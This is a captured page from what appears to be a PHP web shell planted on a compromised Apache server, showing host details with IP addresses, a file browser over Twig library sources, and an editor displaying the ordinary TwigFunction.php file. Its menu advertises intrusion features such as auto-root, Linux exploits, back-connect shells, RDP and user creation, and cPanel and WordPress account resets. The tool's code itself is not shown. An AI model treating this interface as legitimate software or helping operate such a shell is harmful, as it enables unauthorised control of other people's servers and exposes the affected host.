Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.143.5.121
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
twig /
twig /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Cache
[ DIR ]
drwxrwxr-x
Error
[ DIR ]
drwxrwxr-x
Extension
[ DIR ]
drwxrwxr-x
Loader
[ DIR ]
drwxrwxr-x
Node
[ DIR ]
drwxrwxr-x
NodeVisitor
[ DIR ]
drwxrwxr-x
Profiler
[ DIR ]
drwxrwxr-x
RuntimeLoader
[ DIR ]
drwxrwxr-x
Sandbox
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
TokenParser
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
Compiler.php
4.8
KB
-rw-rw-r--
Environment.php
23.33
KB
-rw-rw-r--
ExpressionParser.php
31.92
KB
-rw-rw-r--
ExtensionSet.php
12.3
KB
-rw-rw-r--
FileExtensionEscapingStrategy....
1.41
KB
-rw-rw-r--
Lexer.php
19
KB
-rw-rw-r--
Markup.php
844
B
-rw-rw-r--
NodeTraverser.php
1.78
KB
-rw-rw-r--
Parser.php
11.08
KB
-rw-rw-r--
Source.php
1023
B
-rw-rw-r--
Template.php
12.52
KB
-rw-rw-r--
TemplateWrapper.php
2.63
KB
-rw-rw-r--
Token.php
5.17
KB
-rw-rw-r--
TokenStream.php
3.45
KB
-rw-rw-r--
TwigFilter.php
3.05
KB
-rw-rw-r--
TwigFunction.php
2.79
KB
-rw-rw-r--
TwigTest.php
2.25
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TwigFunction.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig; use Twig\Node\Expression\FunctionExpression; use Twig\Node\Node; /** * Represents a template function. * * @author Fabien Potencier <fabien@symfony.com> * * @see https://twig.symfony.com/doc/templates.html#functions */ final class TwigFunction { private $name; private $callable; private $options; private $arguments = []; /** * @param callable|null $callable A callable implementing the function. If null, you need to overwrite the "node_class" option to customize compilation. */ public function __construct(string $name, $callable = null, array $options = []) { $this->name = $name; $this->callable = $callable; $this->options = array_merge([ 'needs_environment' => false, 'needs_context' => false, 'is_variadic' => false, 'is_safe' => null, 'is_safe_callback' => null, 'node_class' => FunctionExpression::class, 'deprecated' => false, 'alternative' => null, ], $options); } public function getName(): string { return $this->name; } /** * Returns the callable to execute for this function. * * @return callable|null */ public function getCallable() { return $this->callable; } public function getNodeClass(): string { return $this->options['node_class']; } public function setArguments(array $arguments): void { $this->arguments = $arguments; } public function getArguments(): array { return $this->arguments; } public function needsEnvironment(): bool { return $this->options['needs_environment']; } public function needsContext(): bool { return $this->options['needs_context']; } public function getSafe(Node $functionArgs): ?array { if (null !== $this->options['is_safe']) { return $this->options['is_safe']; } if (null !== $this->options['is_safe_callback']) { return $this->options['is_safe_callback']($functionArgs); } return []; } public function isVariadic(): bool { return (bool) $this->options['is_variadic']; } public function isDeprecated(): bool { return (bool) $this->options['deprecated']; } public function getDeprecatedVersion(): string { return \is_bool($this->options['deprecated']) ? '' : $this->options['deprecated']; } public function getAlternative(): ?string { return $this->options['alternative']; } }
Close